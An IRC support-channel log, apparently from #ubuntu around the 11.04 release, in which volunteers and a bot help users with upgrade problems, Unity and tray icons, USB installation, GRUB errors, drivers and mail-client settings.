[14:55] <Dazzled1> does anyone knows how I can find out what I can/cannot move from my local "File System" ?
[14:55] <klingan> escott: Thanks!
[14:55] <escott> Fragy, do you have two disks
[14:56] <OY1R> LjL having a look at it thanks
[14:56] <Dazzled1> as the Updater complains about a lack of space, but I have swaths available on my other partitions
[14:56] <Fragy> <escott>: I have one pyschical disk.
[14:56] <Dazzled1> (NTFS, though)
[14:56] <klingan> escott: Odd question - is there a way in here to simplify the quoting of others name - So that I don't manually have to enter "e s c o t t" everytime I want to focus you?
[14:56] <hihihi100> how do i change my boot screen? I have plymouth, all the packages, and did http://maketecheasier.com/change-login-and-boot-screen-in-ubuntu-lucid/2010/05/13, but all I see is a blue screen
[14:56] <LjL> !tab | klingan
[14:56] <ubottu> klingan: You can use your <tab> key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line.
[14:57] <escott> kad_, yeah its a bit buggy. i saw one a blog posting from one of the zeitgeist developers on gnome blog and he had mockups of zeitgeist history clearing and blacklisting
[14:57] <iiprotocolii> Anyone know what could be causing this: gcc: error trying to exec 'cc1': execvp: No such file or directory?
[14:57] <LjL> iiprotocolii: do you have build-essential installed?
[14:57] <iiprotocolii> LjL: Yep, I do.
[14:58] <iiprotocolii> LjL: I even removed it and re-installed it. Same result(s).
[14:58] <eags_> H, question about indicator applet for Unity:  I've upgrade 3 laptops and Skype shows up for 2.  In third case it is definitely running but I don't see it in the panel.  I've tried different themes.  Anyone know what the deal is?  I checked if it was in the whitelist and it definitely is.    Anyone have any ideas??
[14:58] <kad_> escott, aha so the recent opening files are kept in the File and Folders forever?
[14:58] <notwok> hey guys. just trying the live cd of the new version.. however clicking "Try Ubuntu" does nothing.. cursor constantly spins. any ideas?
[14:58] <LjL> iiprotocolii: i dunno :\
[14:58] <iiprotocolii> Welp, that sucks. lol
[14:58] <Walex2> On ULTS10 every time I attach a storage device it gets "captured" by DM/LVM2 following a 'udev' driven event into 'upstart'. This seems to be FAQ, but I could not find clear advice on how to disable this. Please suggest what I can do.
[14:58] <mah454> i can not publish printer . receive this message "not published see server setting"
[14:58] <escott> Fragy, one change from 10.10 to 11.04 was in the grub.conf to change `set root(hd0,msdos1)` to `set root(sda,msdos1)` it could be your grub.conf didn't get updated, but your mbr did and grub is warning about the syntax change
[14:59]  * vibhav is ready to help!
[14:59] <escott> kad_, for now at least
[14:59] <escott> mah454, probably a cupsd issue, but i don't know for sure
[14:59] <iiprotocolii> vibhav: Then maybe you can help me with my mindboggling issue...
[15:00] <giulia> hello
[15:00] <vibhav> <iiprotocolii> Yes?
[15:00] <vibhav> <iiprotocolii> whats the issue?
[15:00] <_Onryo_> 5 core developers have now just proclaimed that the are refusing to work further on Ubuntu. Something happened here on this #. Is there a way to get a log of what was said?
[15:00] <eags_> Anyone know about why skype isn't appearing in the indicator area?
[15:00] <spacebug-> when I add files to my playlist in audacious I get the scroll arrows to scroll the playlist, but when I open an instance of aducaious with a playlist already in it I dont get the scroll arrows. Bug?
[15:00] <socketguru> http://gauravbits575.blogspot.com/2011/04/rename-multiple-files-with-bash-script.html
[15:00] <giulia> could someone tell me how can I avoid these awful icons and make them "normal ? here is the screenshot : http://img11.hostingpics.net/pics/999144icones.png
[15:00] <iiprotocolii> vibhav: gcc: error trying to exec 'cc1': execvp: No such file or directory  <-- getting that when I try to compile. Build-essential is installed.
[15:00] <lgp171188> Hi in Ubuntu 11.04, Network tools utility, ping tool doesn't work at all, though ping command works fine in the terminal. Any clues?
[15:01] <Fragy> escott, no. Only sda's in the config file.
[15:01] <oCean> _Onryo_: log of what?
[15:02] <_Onryo_> oCean Everything that is said on Freenode and this # is logged
[15:02] <oCean> _Onryo_: ubuntu logs are at http://irclogs.ubuntu.com/2011/
[15:02] <vibhav> iiprotocolii> try  sudo apt-get install build-essentials
[15:02] <iiprotocolii> vibhav: I've done that. I've also removed it and re-installed it, and nothing.
[15:03] <zeroalpha> i have an ubuntu single sign on account, but i want to change my display name, and i forgot where to change it.
[15:03] <klingan> ubottu, LjL! Thanks!
[15:03] <vibhav> <lgp171188> https://bugs.launchpad.net/ubuntu/+source/gnome-nettool/+bug/663014
[15:03] <ubottu> Ubuntu bug 663014 in gnome-nettool (Ubuntu) "No result for ping in Gnome-Nettool" [Low,Triaged]
[15:04] <wolfric> is there anyway to get drives plugged in to be mouted by root automatically? (like usb sticks, portable hard drives) without using the uuid
[15:04] <klingan> Is there any way to remove all the "joined", "left" and "timed out" messages in xChat?
[15:04] <lgp171188> vibhav: Just saw that bug, added 'affects me' and subscribed to :) Thanks
[15:04] <dury> hi there channel :)
[15:04] <vibhav> <iiprotocolii> try to use an IDE
[15:04] <vibhav> <lgp171188> you are welcome
[15:04] <coz_> klingan,   Settings /preferences maybe
[15:04] <coz_> klingan,  or go to the #xchat channel :)
[15:05] <KM0201> klingan: that reaolly depends on your irc client, what are you using?
[15:05] <glycan> Hello
[15:05] <klingan> KM0201, coz_ I'm using xChat
[15:05] <oCean> klingan: right-click channel tab > settings
[15:05] <coz_> klingan,  right check under  Settings  / preferences
[15:05] <klingan> KM0201, coz_ And I can't find an option in settings/preferences
[15:05] <iiprotocolii> vibhav: I highly doubt that it will work, considering that cc1 isn't anywhere in the /usr/lib/gcc directory
[15:05] <dhblewis> I now have Ubuntu 11.04. Taking a while to get used to it! However, Whenever I print I get this error message processing file /system/library/colorsync/profiles/sRGB Profile.icc
[15:05] <glycan> How do I make it so I can say "filename" to run it, insterad of "python filename.py"?
[15:05] <KM0201> klingan: right click on the channnel in your channel list, settings/hide join/part
[15:05] <zeroalpha> where can i change my ubuntu single sign on name?
[15:05] <klingan> KM0201, coz_ Found it, THANKS!
[15:06] <zeroalpha> i forget where to do it.
[15:06] <coz_> klingan,  no problem
[15:06] <_Onryo_> oCean these are not the full logs of what was said. Syn3rgy was a top dog over at kernel.org. Seems some body banned him and took it personal. I need to know what was said.
[15:06] <dury> I have created boot in a usb pendrive 11.04... it  boots without any problem...
[15:06] <escott> glycan, you need a shebang #!/usr/bin/python in line one, you need to chmod +x and you need to add to path (skip this and do ./)
[15:07] <RogerU> quit
[15:07] <vibhav> <lgp171188> you are welcome
[15:07] <OY1R> gona be tight with 8.04 of the CD and vbox with ubuntu 10 or 11 in virtual.all in ram !
[15:09] <dury> the problem is in the installation procedure.... (the box I'm trying to install to it hasn't got cd-rom device)
[15:09] <jiltdil> dury: are you chose he option it from host under devices
[15:09] <dhblewis> anyone able to help me with my printing issue?
[15:10] <dury> and some point in the installation proccess it ask me to put the cdrom
[15:10] <glycan> Huh?
[15:10] <glycan> ./?
[15:10] <dury> when is trying to install the apt proccess
[15:10] <klingan> Who is ubottu? A bot?
[15:10] <escott> glycan, cd /path/to/app; ./appname.py
[15:10] <aeon-ltd> klingan: yes
[15:11] <glycan> Er.
[15:11] <klingan> Haha, awesome. He got me a very accurate answer earlier :)
[15:11] <jiltdil> dur:perhabs you didnot chose the option devices-->cd/dvd devices -->host drive
[15:11] <glycan> Oh
[15:11] <escott> glycan, alternately modify .bashrc to have this: export PATH="$PATH:/path/to/app"
[15:12] <glycan> Oh, that explains stuff
[15:12] <glycan> Never mind, I got it
[15:12] <dury> jiltdill: what's that?
[15:12] <glycan> ./ is run with shebang, right?
[15:12] <jiltdil> dury: oh sorry perhabs i misunderstood your question
[15:12] <jiltdil> dury:please repeat your qustion one more time
[15:12] <dury> jiltdill: right
[15:13] <escott> glycan, #! is shebang
[15:13] <vibhav> !ubottu
[15:13] <ubottu> Hi! I'm #ubuntu's favorite infobot, you can search my brain yourself at http://ubottu.com/factoids.cgi | Usage info: http://ubottu.com/devel/wiki/Plugins | Bot channels and general info: https://wiki.ubuntu.com/IRC/Bots
[15:13] <vibhav> !hi
[15:14] <vibhav> !Doisuck?
[15:14] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[15:14] <dury> jiltdill: I'm trying to install 11.04 through usb pendrive, right?
[15:14] <oCean> vibhav: stop that please
[15:14] <vibhav> Ok
[15:14] <jiltdil> dury:ok
[15:14] <vibhav> sorry!
[15:14] <eags_> Anyone know about why skype isn't appearing in the indicator area?  Works fine on two other natty upgrades I did.
[15:14] <glycan> Where is python by default on 11.4?
[15:14] <escott> glycan, do `which python` in terminal
[15:14] <jiltdil> dury:then whats the problem
[15:15] <glycan> Okay...
[15:15] <vibhav> whats the problem dury
[15:15] <dury> jiltdill: the box hasn't got cd/dvd reader....
[15:15] <iiprotocolii> Welp, I'll keep researching for the answer to this issue. :P
[15:15] <jiltdil> dury:just go to bios option and under boot enable usb device
[15:15] <vibhav> whats the problem dury? Maybe I can help...
[15:15] <hihihi100> i upgraded to 11.04, i cannot use internet, I can only surf with tor on
[15:16] <hihihi100> help please
[15:16] <jiltdil> dury:then boot
[15:16] <vibhav> <jiltdil> what is his problem?
[15:16] <dury> jiltdill: that's ok but in the installation procedure it says to put the cd-rom
[15:17] <jiltdil> dury:actually by default you bios has only enabled the cd/dvd boot .just go under boot option in bios and enable usb device also
[15:17] <jiltdil> dury:have you done as i told you
[15:17] <raluxgaza> Hey guys i'm having problems with my wireless after upgrading to Natty. I have an Acer Timeline 4810T and the wireless just doesn't work after suspend
[15:17] <raluxgaza> I didn't have this problem with 10.10
[15:18] <jiltdil> vibhav:he wants to install 11.04 from usb but i think he didnot enabled usb option from bios menu
[15:18] <raluxgaza> I've looked online but haven't found any threads yet
[15:18] <vibhav> <raluxgaza> Broadcom wireless?
[15:18] <raluxgaza> vibhav, yea
[15:18] <dury> jiltdill: I told you the bios usb devicw it's ok,,, because I already boot it from it
[15:18] <vibhav> <raluxgaza> I know about that , just wait
[15:19] <Abbas-uB> hey guys
[15:19] <Abbas-uB> i'm a new convert
[15:19] <Abbas-uB> from win7 to ub
[15:19] <Abbas-uB> i'm loving the UI
[15:19] <Abbas-uB> for 11.04
[15:19] <escott> dury, it doesn't work if you just follow the instructions substituting pendrive for cd?
[15:19] <FloodBot3> Abbas-uB: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[15:19] <raluxgaza> Abbas-uB, welcome
[15:19] <Abbas-uB> why do certain things like updates download so slow?
[15:19] <Abbas-uB> just found my way around pidgin :p
[15:19] <glycan> IT WORKS!!!!!!!!!!!!!!!!
[15:19] <raluxgaza> Abbas-uB, might be your network connection
[15:19] <oneliner> looks like unity plugin dosent play nice with desktop cube and cube rotation
[15:20] <solsTiCe> Abbas-uB: I agree. I prefer ubuntu unity at the gnome shelm
[15:20] <KNUBBIG> Abbas-uB: maybe because servers are overloaded cause of many updaters
[15:20] <escott> Abbas-uB, its a really busy few days as well with all the new users and upgrades
[15:20] <Abbas-uB> ah
[15:20] <KNUBBIG> oneliner: there may be a way
[15:20] <Abbas-uB> i'll wait then i guess
[15:20] <Abbas-uB> my browsing is perfect
[15:20] <Abbas-uB> and i love how smooth and sweet the browsing/fonts etc are
[15:20] <jiltdil> dury:then no idea, listening first time this type of prob :)
[15:20] <oCean> Abbas-uB: please stop using your 'enter' key that often. And this is for support only, chit chat in #ubuntu-offtopic
[15:20] <KNUBBIG> oneliner: http://www.omgubuntu.co.uk/2011/04/compiz-cube-natty/ but use this on your own risk
[15:21] <Abbas-uB> my bad, i'll leave you to work now.
[15:21] <raluxgaza> vibhav, any luck yet?
[15:21] <CrespoZePP> i have the Abbas's problem
[15:21] <CrespoZePP> too
[15:21] <vibhav> <raluxgaza> http://paste.ubuntu.com/601741/ try this
[15:22] <raluxgaza> vibhav, aright thanks, i'll get back to you
[15:22] <vibhav> <raluxgaza> Good luck!
[15:22] <jiltdil> dury:i think you should enable first   boot device in BIOS is  USB drive , perhabs the cd/dvd is of first boot priority check it out
[15:22] <tayyabali> hi all
[15:22] <raluxgaza> vibhav, thanks mate
[15:22] <vibhav> <raluxgaza> does it work?
[15:22] <KNUBBIG> tayyabali: hi
[15:22] <dury> escott: it boots from the usb pendrive.... the thing it's when is trying to install the apt it ask me for cd-rom
[15:23] <raluxgaza> vibhav, still trying it
[15:23] <vibhav> <raluxgaza> when you install them restart
[15:23] <escott> dury, i know but the pendrive should have the cd image, does it get stuck and not let you continue?
[15:23] <jiltdil> dury:are you getting grub screen?
[15:23] <tayyabali> any one has installed GNOME 3
[15:23] <tayyabali> i have problems in Gnome 3
[15:23] <dhblewis> I now have Ubuntu 11.04. Taking a while to get used to it! However, Whenever I print I get this error message processing file /system/library/colorsync/profiles/sRGB Profile.icc	 Anyone know how to fix it?
[15:24] <dury> escott that's right
[15:24] <KNUBBIG> !gnome3 | tayyabali
[15:24] <ubottu> tayyabali: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[15:24] <erez> Hello all, I've upgraded to 11.04, and, while I can log normally to non-unity session, trying to login to "ubuntu" throws a "no valid session found"
[15:24] <KNUBBIG> tayyabali: you may have to go to the gnome irc if none can help you here
[15:24] <dury> no grub screen
[15:24] <erez> Other than that, all works fine
[15:24] <dury> it get stuck
[15:24] <dury> as escott says
[15:25] <tayyabali> how to go to gnome irc ?
[15:25] <escott> dury, its stuck in the install gui right? at what point does it get stuck
[15:25] <escott> tayyabali, /join #gnome
[15:25] <KNUBBIG> tayyabali: I think its /connect irc.gnome.org but not sure, you may have to look on the official gnome site
[15:25] <kassah> is there a way to save my data entered into IRS PDF forms from Document Viewer?
[15:25] <KNUBBIG> oh okay sorry
[15:25] <erez> KNUBBIG: I think it's gimp.org
[15:25] <vibhav> <raluxgaza> does it work?
[15:26] <ManDay> Ubuntu, I need your help with VGASwitcheroo ! Has anyone gotten it to work on an ATI/Intel?
[15:26] <dury> escott: when s
[15:26] <KNUBBIG> erez: gnome irc on gimp.org?
[15:26] <brous-kee> kassah, looked under the file menu for save  ?
[15:26] <preyas> any1 here
[15:26] <erez> KNUBBIG: IIRC, yes
[15:26] <Krishnandu> Hi, how to do upgrade from Alternate ISO??
[15:26] <preyas> need help
[15:26] <raluxgaza> vibhav, it's just finishing up, i'll have to logout and log back in to verify
[15:26] <ikonia> preyas: many people, ask a question
[15:26] <beatpanic> hi people, just dist-upgraded to natty from maverick -- How do I reenable skype icon in the tray area under ubuntu classic? thanks!
[15:26] <preyas> sir my wallpaper is not changing
[15:26] <vibhav> <raluxgaza> ok
[15:26] <dury> escott: when it's to install apt module or packages or whatever
[15:26] <malte> x
[15:26] <kassah> brous-kee, I did... I tried save as... but it doesn't save any of the entered data... just the blank form.
[15:27] <preyas> instead there is a solid color wallpaper is coming
[15:27] <escott> Krishnandu, most upgrades are done off the web not from iso, but you could add the iso to your apt-sources and then try to upgrade
[15:27] <preyas> i am not able to change my wallpaper
[15:27] <raluxgaza> vibhav, testing commences now, <fingers crossed> be back in a bit <hopefully>
[15:27] <dury> escott: sorry I mean when it's trying to install apt module or packages or whatever
[15:27] <preyas> ikonia, help me see my prob
[15:27] <malte> x
[15:27] <vibhav> <raluxgaza> OK
[15:27] <ikonia> preyas: no idea
[15:27] <Krishnandu> escott, Can you please guide me how?? I mean how to add the ISO to apt-sources??
[15:27] <preyas> hi vaibhav me also from india
[15:27] <escott> dury, so its taken all your config info/partitioned folders and then gets stuck
[15:28] <brous-kee> kassah perhaps print it to a file and then you have a file that has the entered contents?
[15:28] <preyas> hey any1 plzz give me the solution of changing tthw wallpaper
[15:28] <dury> escott: that's right
[15:28] <raluxgaza> vibhav, yaaay it works, thanks buddy
[15:28] <eags_> HI, anyone know about why skype isn't appearing in the indicator area?  Works fine on two other natty upgrades I did.   I did try Unity from a ppa in Maverick so maybe I messed up some settings?  any way to reset Unity only configs?
[15:29] <escott> Krishnandu, if you put the disk in and then go to synaptic -> preferences -> software sources you should be able to add a volume
[15:29] <raluxgaza> yup it's working
[15:29] <dury> escott: are there another way to install it?
[15:29] <kassah> brous-kee, sweet.. that at least seems to work... can't further edit fields... but it's better than nothing.. thanks!
[15:29] <beatpanic> eags_, more or less the same situation that I have under ubuntu classic :)
[15:29] <vibhav> <raluxgaza> No problem!
[15:29] <preyas> any1 tell me how to change wallpaper there's a solid wallpaper coming
[15:29] <zus> on 11.04 how can i get to the package manager for adding ppa? dumb question but i havent used ubuntu in a lil bit
[15:29] <Krishnandu> escott, Thanks :)
[15:29] <oCean> preyas: no need to repeat your question that quickly, thanks
[15:29] <preyas> i am not aple to change it through appearance
[15:30] <preyas> so plzz help me bro
[15:30] <eags_> beatpanic: you can't see Skype under ubuntu classic?  That is strange since classic gnome still has the Notification area.
[15:30] <vibhav> Next problem?
[15:30] <jheyes> can anyone recommend a good text mode view of the file system? a built-in shell would be a bonus as well.
[15:30] <kassah> brous-kee, do you think it would be appropriate to file a bug/feature request? Form 1040 is a pretty long, and being able to work on it parts at a time would be greatly beneficial
[15:30] <KNUBBIG> zus: sudo add-apt-repository ?
[15:30] <beatpanic> eags_, I see skype, but not in the tray area
[15:30] <pylix> why does the terminal have trouble with spaces? for instance, it interprets 'a b.gif' as 'a.gif','b.gif' what can i do to fix this behavior?
[15:30] <preyas> sad :(
[15:30] <KNUBBIG> zus: or else sudo update-manager and then settings
[15:30] <eags_> vibhav: do you know why skype isn't appearing in the indicator area?  Works fine on two other natty upgrades I did.   I did try Unity from a ppa in Maverick so maybe I messed up some settings?  any way to reset Unity only configs?
[15:30] <ikonia> oops
[15:31] <zus> KNUBBIG,  thanks,
[15:31] <escott> dury, i've only ever done cd installs, so im not familiar with the usb method. the only thing I could think to do would be to edit /etc/apt/sources.list to point to the repo on your usb keychain
[15:31] <Omega> eags_: Can you put "gsettings get com.canonical.Unity.Panel systray-whitelist" in a terminal for me and see what you get?
[15:31] <ikonia> preyas: escape chats a\ b.gif
[15:31] <ikonia> pylix escape chars  a\ b.gif
[15:31] <ikonia> 15:30 < ikonia> oops
[15:31] <preyas> ikonia, what
[15:31] <eags_> ['JavaEmbeddedFrame', 'Mumble', 'Wine', 'Skype', 'hp-systray', 'scp-dbus-service', 'Dropbox']
[15:31] <vibhav> <eags_> "unity --reset"
[15:31] <eags_> Omega: ^
[15:31] <ikonia> preyas: wrong person, sorry
[15:31] <Omega> eags_: Hmm, that seems about right.
[15:32] <eags_> vibhav: --reset will clear my settings or just restart unity?
[15:32] <Omega> Clear settings
[15:32] <vibhav> <eags_> reset settings
[15:32] <eags_> I just ran unity-preferences out of curiosity.  Funny.
[15:32] <brous-kee> kassah, nah, i don think it is a bug, remember it is a viewer not an editor?
[15:33] <Omega> eags_: Do you have skype running though?
[15:33] <eags_> vibhav, Omega: is this a unity setting or an Indicator applet setting?
[15:33] <dios_mio> unity BLOWS
[15:33] <eags_> yeah it is running
[15:33] <eags_> dios_mio: lol.  A lot of people don't agree though.
[15:33] <preyas> there's no scope for me here :(
[15:33] <kassah> brous-kee, okay =) any recommendations on an open-source pdf editor?
[15:33] <vibhav> <eags_> Indicator applet error
[15:34] <zus> heh gound the package manager thanks
[15:34] <eags_> vibhav: yeah, so I haven't reset unit yet because it seems like it isn't about unity, it is about indicator applet.
[15:34] <sudipta> hi alll
[15:34] <brous-kee> kassah not that I can think of the moment, those xml editor perhaps can do it
[15:35] <eags_> vibhav:  gsettings != gconf?  When did that happen?  Is there no gui for browsing these settings or do I just have to know they exist?
[15:35] <Omega> dconf-editor is the gui
[15:35] <praveen> preyas: open it in full size...right click on it and click on "set as a desktop background"
[15:35] <preyas> i tried it in image viewer
[15:35] <KNUBBIG> is there any way in guake to switch through open terminal tabs with, like strg + tab?
[15:35] <preyas> but it wont working
[15:36] <eags_> Omega: not in repo.  ??
[15:36] <beatpanic> ok I more or less solved my problem: I have to tick "Start Skype minimised in the system tray", but by default it doesn't go in the system tray weird
[15:36] <Omega> eags_: It should be, it might even be preinstalled, I'm not sure.
[15:36] <minsik_> hi. i'm using kubuntu 11.04, and i wanna disable windows driver installed using ndlswrapper. how can i do?
[15:37] <praveen> preyas: just open it in your browser...even you don't have to download it..it is very simple process of setting pics
[15:37] <preyas> praveen, i tried that
[15:37] <preyas> it wont work
[15:37] <preyas> i install gnome 3
[15:37] <preyas> and it was working fine
[15:37] <eags_> Omega: it isn't.  And it isn't in apt.  Are you spelling it correctly?
[15:38] <preyas> but then i install some programmes
[15:38] <preyas> then the wallpaper got blank
[15:38] <zerogeedawg> ubuntu rocks
[15:38] <oCean> preyas: gnome 3 is not supported here
[15:38] <alessio_alex> Hello, I've just updated to Ubuntu 11.04 from 10.10. My top & bottom panels disappeared. What do I do?
[15:38] <vibhav> <minsik_> uninstall ndlswrapper
[15:38] <preyas> k sorry
[15:38] <dury> tried to install 11.04 from usb stick in a box without cd/dvd Device and it's impossible
[15:39] <escott> alessio_alex, if you dont like unity use the classic interface from the gdm login screen (after you type in your username)
[15:39] <Omega> eags_: the package is called dconf-tools, sorry about that, the tool is called dconf-editor.
[15:39] <sudipta> i installed natty a few days ago and installed nvidia propietary driver with jockey...but the unity session wont start..then i installed the very-small-compared-to-proprietary-driver free mesa driver(3MB) and unity just works well(though not very well)..is this a bug....why didnt the proprietary driver work?Used to work with earlier version of ubuntu
[15:39] <nadar_> hi,
[15:39] <eags_> Omega:  got it.  thanks.
[15:39] <dury> I guess solution it's put cd/dvd reader and install it from there
[15:40] <alessio_alex> escott so how exactly do I achieve this?
[15:40] <alessio_alex> where do I select the classic option?
[15:40] <emasarn> I have a "problem" with Chrome and the dock
[15:40] <moeter> list
[15:40] <shoiab_> Help!!! empathy fail to connect to facebook ???
[15:40] <minsik_> how can i uninstall ndlswrapper and drivers installed using this?
[15:40] <emasarn> Everytime I click on the chrome-icon, a new browser window is opened
[15:40] <nadar_> just a question: when i install ubuntu using windos installer it tells me it wants to install on c: where 210 GB are free. is ubuntu going to create new partition(s) or will it erase c:?
[15:40] <dury> bug usb stick installation procedure
[15:40] <escott> alessio_alex, logout and on your next login choose classic from the dropdown at the bottom of the login screen
[15:40] <emasarn> Can I fix this somehow?
[15:40] <alessio_alex> ok
[15:40] <alessio_alex> thanks, I'll try that
[15:40] <gdea73> Hi, need help badly...
[15:41] <Omega> dury: does it boot?
[15:41] <gdea73> Having really weird keyboard input errors
[15:41] <dury> Omega: yeah it does
[15:41] <minsik_> anyone help me with wi-fi driver.....
[15:41] <gdea73> When I boot up, it goes to GRUB menu. but every key except the arrow keys work
[15:41] <tjiggi_fo> nadar_, it creates a pseudo partition and lets you choose between windows or ubuntu at bootup
[15:41] <escott> Omega, his sources list is pointing to a non-existent cd. so he can't install the software on the usb. i'm not sure if the usb image is wonky or what
[15:41] <gdea73> when I select ubuntu 10.10 (because that's all I can select), it gives me an error...
[15:41] <gartral> gdea73: what kind of keyboard?
[15:42] <soc> hi
[15:42] <soc> i want to migrate the settings of a 10.10's evolution to 11.04
[15:42] <soc> which folders do i have to place where?
[15:42] <nadar_> tjiggi_fo: you mean something like a truecrypt-container?
[15:42] <gartral> gdea73: these generalised terms arent helping. what's the error?
[15:42] <dury> Omega: so?
[15:42] <Omega> dury: How did you make the usb image?
[15:42] <soc> it seems the folder got moved from .evolution to .confg/evolution ...
[15:43] <escott> soc, an export import or settings from the evo menu would be preferred
[15:43] <sudipta> i installed natty a few days ago and installed nvidia propietary driver with jockey...but the unity session wont start..then i installed the very-small-compared-to-proprietary-driver free mesa driver(3MB) and unity just works well(though not very well)..is this a bug....why didnt the proprietary driver work?Used to work with earlier version of ubuntu
[15:43] <soc> escott: can't change that anymore :-/
[15:43] <tjiggi_fo> nadar_, don't know what that is, sorry
[15:43] <soc> escott: or can i point that "import" to the old .evolution folder?
[15:43] <alessio_alex> escott I've just restarted my Ubuntu, I see no such "switch to classical" option
[15:43] <nadar_> tjiggi_fo: nvm, thanks so far :)
[15:43] <escott> soc, you could try, but i would back it up first
[15:43] <alessio_alex> I also locked the screen and logged in again and no such option also
[15:44] <DrHalan> hey, are there plans to create one unified appmenu für appications that have multiple windows? like empathy e.g.
[15:44] <soc> escott: but first, how can i get evolution clean again?
[15:44] <escott> alessio_alex, you logout. type your name in. on the bottom where it says session type you pick the classic type
[15:44] <Omega> sudipta: That's an issue nvidia needs to fix ): you can use the free driver in the meantime :)
[15:44] <erez> Hello all, I've upgraded to 11.04, and, while I can log normally to non-unity session, trying to login to "ubuntu" throws a "no valid session found", any ideas?
[15:44] <soc> even if i delete .evolution and .config/evolution, it keeps placing the data there
[15:44] <gdea73> Anyone willing to help? I get error: out of disk upon boot.
[15:44] <beatpanic> alessio_alex, it's at the bottom, when you select the user
[15:44] <alessio_alex> I don't select the use
[15:44] <soc> i have no idea where the files could be
[15:44] <alessio_alex> I just have one user
[15:45] <alessio_alex> I don't login when starting Ubuntu
[15:45] <Omega> erez: try to boot in safe mode at the login screen, or try Ubuntu (no effects)
[15:45] <soc> i deleted the evolution folders, and started evolution and it still had all the settings and mails
[15:45] <alessio_alex> I don't see any session option also .. when I try to login after screen lock
[15:45] <tjiggi_fo> nadar_, if you have 210GB available I would strongly advise you to create a seperate partition and install ubuntu to that instead of using the windows/wubi alternative
[15:45] <gartral> gdea73: "out of disk"? are you sure you have that right
[15:45] <sudipta> <Omega>i have....but is this a bug....because the free driver is very small and does not support well many compiz plugins(wobbly windows for example)
[15:45] <dury> Omega: http://www.ubuntu.com/download/ubuntu/download... I've followed the 2 point  Burn your CD or create a USB drive
[15:45] <escott> alessio_alex, you have to logout and login again. sounds like you need to disable auto login from gdmconfig
[15:45] <beatpanic> alessio_alex, you probably have to logout from unity and go back to gdm. sorry but I don't know unity
[15:45] <nadar_> tjiggi_fo: alright. but now i started the installation already
[15:46] <gdea73> gartral: yes. I get three lines of error, I will send them to you in PM
[15:46] <nadar_> can i simply quit it?
[15:46] <Lorthirk> hello guys, i'm having problems. from time to time, window contents are not refreshed (i.e. scrolling inside a page or clicking on a link, and so on). this happens in various apps. I'm running natty with latest fglrx. what can I do?
[15:46] <erez> Omega: I've no problem logging into ubuntu-classic
[15:46] <tjiggi_fo> nadar_, you only need 10 or 20GB
[15:46] <alessio_alex> Jeesus
[15:46] <alessio_alex> ok
[15:46] <gartral> gdea73: no, pastebin them.
[15:46] <alessio_alex> thanks...
[15:46] <Omega> dury: What did you use to create it? What OS?
[15:46] <gdea73> ok...
[15:46] <eags_> Omega, vibhav: if you look around in dconf-editor do you see any relevant keys for indicator applet I might be missing?  I only have the whitelist setting which looks fine.
[15:46] <tjiggi_fo> nadar_, if it hasn't started formatting yet, then yes you can quit
[15:46] <soc> escott: any ideas?
[15:46] <dury> Omega: mmm Ubuntu
[15:46] <Omega> eags_: Try unity --reset
[15:47] <nadar_> tjiggi_fo: i did. thanks for your help, i'll partition now on my own
[15:47] <escott> soc, im not really clear on what it is doing that you don't want happening
[15:47] <vibhav> <eags_> I recommend unity --reset
[15:47] <erez> Omega: but I do want to get into unity
[15:47] <soc> escott: i had a first attempt t move my mails over
[15:47] <sudipta> <Omega>i have....but is this a bug....because the free driver is very small and does not support well many compiz plugins(wobbly windows for example)
[15:47] <soc> but then i saw that the folders had changed
[15:47] <shoiab_> how uninstall Unity?
[15:47] <dury> Omega: usb stick and ubuntu
[15:48] <soc> so i want to delete all data evolution currently has and retry, but i can't seem to delete it
[15:48] <soc> it reminds me of that automatic windows restore feature, where it just kept replacing the files you deleted in the system folder :-)
[15:48] <dury> Omega: start disk creator
[15:48] <soc> and i basically want to start with an clean evolution without any data
[15:48] <dury> Omega: in ubuntu
[15:48] <escott> soc, evo is going to create what evo needs to create. to try what you want you would need to close evo. delete the folders. place your data. start evo
[15:49] <Omega> dury: Try installing it with unetbootin (search for unetbootin in software center)
[15:49] <soc> escott: that's what i did
[15:49] <no404> dd command ist cool
[15:49] <Walex2> On ULTS10 every time I attach a storage device it gets "captured" by DM/LVM2 following a 'udev' driven event into 'upstart'. This seems to be FAQ, but I could not find clear advice on how to disable this. Please suggest what I can do.
[15:50] <Omega> erez: Can you boot into safe mode?
[15:50] <soc> escott: i closed evo. deleted all the folders (.evolution/.config/evolution), then started it again because i wanted to verify it. but it STILL had all the mails
[15:50] <kassah> brous-kee, my appologies, aparently Document Viewer does actually save filled out forms... aparently I saved it to another location and diddn't realize it
[15:50] <gdea73> gartral: http://pastebin.com/69iNq0xR
[15:50] <escott> Walex2, probably in /etc/udev/rules.d
[15:50] <soc> and i have no idea why or how evo keeps the mails
[15:50] <erez> Omega: probably
[15:50] <gdea73> and pressing any key does nothing. I have to ctrl + alt + delete or use the reset button.
[15:50] <erez> Omega: what to do there?
[15:50] <Omega> erez: how did you install? did you upgrade? from what?
[15:50] <kassah> brous-kee, thanks for helping me =) sorry for being an idiot
[15:50] <erez> Omega: upgrade from 10.10
[15:51] <erez> Omega: I tried playing with Gnome3 while on 10.10, it might've broken something
[15:51] <gartral> gdea73: i've never seen that before.. what kind of hard disk do you have?
[15:51] <dury> Omega: so I need another new usb stick then?
[15:51] <Omega> erez: Did you remove it before upgrading?
[15:51] <eags_> Omega, vibhav: ok, unity --reset did not work but I did get some interesting info in my console: ** (<unknown>:6574): DEBUG: TrayChild Rejected: dropbox dropbox Dropbox
[15:51] <eags_> ** (<unknown>:6574): DEBUG: TrayChild Rejected: (null) HipChat HipChat
[15:51] <Walex2> escott: thanks, I tried having a look there and it did not seem to help, but I'll try again. I suspect it is something instead to do with the DM kernel module, perhaps.
[15:51] <gdea73> SAMSUNG 1TB
[15:51] <eags_> ** (<unknown>:6574): DEBUG: TrayChild Accepted: (null) skype Skype
[15:51] <Omega> dury: same usb stick, just use unetbootin to make it bootable
[15:51] <gdea73> samsung spinpoint f3 1tb, is all I remember...
[15:52] <gartral> eags_: DONT PASTE HERE.
[15:52] <Omega> dury: delete the one you have and make a new one with unetbootin (using the same iso)
